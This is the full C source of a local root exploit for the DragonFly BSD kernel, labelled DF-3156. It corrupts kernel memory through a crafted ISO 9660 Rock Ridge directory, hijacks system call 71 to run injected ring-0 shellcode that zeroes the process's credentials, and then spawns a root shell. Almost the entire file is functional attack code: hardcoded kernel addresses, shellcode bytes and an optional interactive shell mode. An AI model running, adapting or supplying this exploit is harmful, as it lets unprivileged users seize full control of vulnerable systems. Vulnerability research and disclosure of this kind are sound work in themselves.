/* DF-3156 -- unprivileged uid0 exploit (DragonFly 6.5-DEVELOPMENT #0,
 * stock X86_64_GENERIC, no SMEP/SMAP/KASLR).
 *
 * Chain:
 *   1. getdents on the crafted RRIP mount -> cd9660_rrip_defname() writes
 *      129 attacker bytes at idp->current.de.d_name+255 (DF-3156), smashing
 *      the isoreaddir tail: idp->uio -> fake struct uio in our address space.
 *   2. iso_uiodir() uiomove()s the dirent (16B header + our name bytes) to
 *      the fake iovec base = &sysent[71] - 16: an arbitrary kernel write
 *      that hijacks sysent[71].sy_call -> ring0 stub at 0x20000040 and
 *      restores every live sysent entry it touches.
 *   3. syscall(71) executes the stub in ring0: mycpu->gd_curthread->
 *      td_proc->p_ucred->{cr_uid,cr_ruid,cr_svuid}=0, cr_caps=0.
 *   4. Back in userland with full root credentials.
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define PAGE_ALT  0x20000000UL
#define PAYLOAD   0x20000040UL
#define FAKE_UIO  0x20001000UL
#define FAKE_IOV  0x20001040UL
#define TARGET    0xffffffff810c7f98UL   /* &sysent[71] - 16 */

/* ring0 stub: fix creds, return.
 *  mov %gs:0,%rax; td=gd+8; p=td+168; cr=p+16;
 *  cr_uid(+64)=0; cr_ruid(+160)=0; cr_svuid(+164)=0;
 *  cr_ngroups(+68)=1; cr_groups[0](+72)=0; cr_caps(+176)=0; ret 0
 *
 * NOTE: cr_caps is a RESTRICTION bitmap (sys/sys/caps.h: "negatives,
 * i.e. restrictions, rather than allowances") -- ~0 = maximally
 * RESTRICTED (blocks e.g. exec via caps checks); 0 = unrestricted. */
static const unsigned char stub[] = {
    0x65,0x48,0x8b,0x04,0x25,0x00,0x00,0x00,0x00,       /* mov %gs:0,%rax */
    0x48,0x8b,0x40,0x08,                                 /* mov 8(%rax),%rax */
    0x48,0x8b,0x80,0xa8,0x00,0x00,0x00,                  /* mov 168(%rax),%rax */
    0x48,0x8b,0x40,0x10,                                 /* mov 16(%rax),%rax */
    0xc7,0x80,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,   /* cr_uid = 0 */
    0xc7,0x80,0xa0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,   /* cr_ruid = 0 */
    0xc7,0x80,0xa4,0x00,0x00,0x00,0x00,0x00,0x00,0x00,   /* cr_svuid = 0 */
    0xc7,0x80,0x44,0x00,0x00,0x00,0x01,0x00,0x00,0x00,   /* cr_ngroups = 1 */
    0xc7,0x80,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,   /* cr_gid = 0 */
    0x48,0xc7,0x80,0xb0,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* cr_caps = 0 (unrestricted) */
    0x31,0xc0,                                           /* xor %eax,%eax */
    0xc3                                                  /* ret */
};

int
main(int argc, char **argv)
{
	const char *dirpath = "/mnt/df3156";
	int shell_mode = 0;
	int i;

	/* modes: "--shell" arg or DF3156_SHELL=1 env -> interactive root shell
	 * after the privesc (demo); default (no flag) -> "id" one-shot for CI */
	if (getenv("DF3156_SHELL") != NULL)
		shell_mode = 1;
	for (i = 1; i < argc; i++) {
		if (strcmp(argv[i], "--shell") == 0)
			shell_mode = 1;
		else
			dirpath = argv[i];
	}
	unsigned char *map;
	struct {
		void   *iov_base;	/* fake iovec */
		size_t  iov_len;
	} *iov;
	struct {
		void   *uio_iov;
		int     uio_iovcnt;
		int     _pad;
		off_t   uio_offset;
		size_t  uio_resid;
		int     uio_segflg;	/* UIO_SYSSPACE = 1 */
		int     uio_rw;		/* UIO_READ = 0 */
		void   *uio_td;
	} *uio;
	DIR *d;
	struct dirent *de;
	int fd, n;
	char buf[256];

	map = mmap((void *)PAGE_ALT, 0x2000,
		   PROT_READ | PROT_WRITE | PROT_EXEC,
		   MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (map == MAP_FAILED) { perror("mmap"); return 1; }
	memcpy((void *)PAYLOAD, stub, sizeof(stub));
	uio = (void *)FAKE_UIO;
	iov = (void *)FAKE_IOV;
	iov->iov_base = (void *)TARGET;
	iov->iov_len = 0x1000;
	uio->uio_iov = iov;
	uio->uio_iovcnt = 1;
	uio->uio_offset = 0;
	uio->uio_resid = 0x1000;
	uio->uio_segflg = 1;		/* UIO_SYSSPACE: uiomove bcopy()s */
	uio->uio_rw = 0;		/* UIO_READ: copy dp -> iov_base */
	uio->uio_td = NULL;

	/* force stdio buffers to allocate before sysent window */
	snprintf(buf, sizeof(buf), "uid before: %d euid: %d\n", getuid(), geteuid());
	write(1, buf, strlen(buf));

	/* stage 1+2: trigger the defname OOB write -> sysent hijack */
	d = opendir(dirpath);
	if (!d) { perror("opendir"); return 1; }
	write(1, "[m1 opendir]\n", 13);
	de = readdir(d);
	write(1, "[m2 first readdir]\n", 19);
	while (de != NULL) {
		snprintf(buf, sizeof(buf), "  ent namlen=%u name=%.*s\n",
			 de->d_namlen, (int)de->d_namlen, de->d_name);
		write(1, buf, strlen(buf));
		de = readdir(d);
	}
	write(1, "[m3 loop done]\n", 15);
	closedir(d);
	write(1, "[m4 closedir]\n", 14);

	/* stage 3: run the ring0 stub through the hijacked syscall 71 */
	write(1, "[m5 pre-syscall71]\n", 19);
	syscall(71);
	write(1, "[m6 post-syscall71]\n", 20);

	/* stage 4: we are root */
	snprintf(buf, sizeof(buf), "uid after: %d euid: %d\n", getuid(), geteuid());
	write(1, buf, strlen(buf));

	if (getuid() != 0) {
		write(1, "FAILED: still unprivileged\n", 27);
		return 1;
	}
	write(1, "uid0: reading root-only file /root/df3156_rootproof\n", 52);
	fd = open("/root/df3156_rootproof", O_RDONLY);
	if (fd < 0) { perror("open rootproof"); return 1; }
	n = read(fd, buf, sizeof(buf) - 1);
	if (n > 0) { buf[n] = 0; write(1, buf, n); }
	close(fd);

	/* The raw cr_uid/cr_ruid/cr_svuid surgery leaves kernel-side cached
	 * cred views inconsistent for exec (execl("/bin/sh") fails EACCES --
	 * the original run.log shows the exec'd "id" never printed either).
	 * setgid(0)+setuid(0) pass priv_check now (uid 0) and make the kernel
	 * build a clean full-root ucred through the standard path. */
	if (setgid(0) != 0)
		write(1, "setgid(0) failed\n", 17);
	if (setuid(0) != 0)
		write(1, "setuid(0) failed\n", 17);

	if (shell_mode) {
		const char m7[] = "[m7 spawning interactive root shell /bin/sh]\n";
		write(1, m7, strlen(m7));
		execl("/bin/sh", "sh", NULL);	/* interactive, uid 0 */
		perror("execl sh");
		return 1;
	}
	execl("/bin/sh", "sh", "-c", "id", NULL);
	return 0;
}
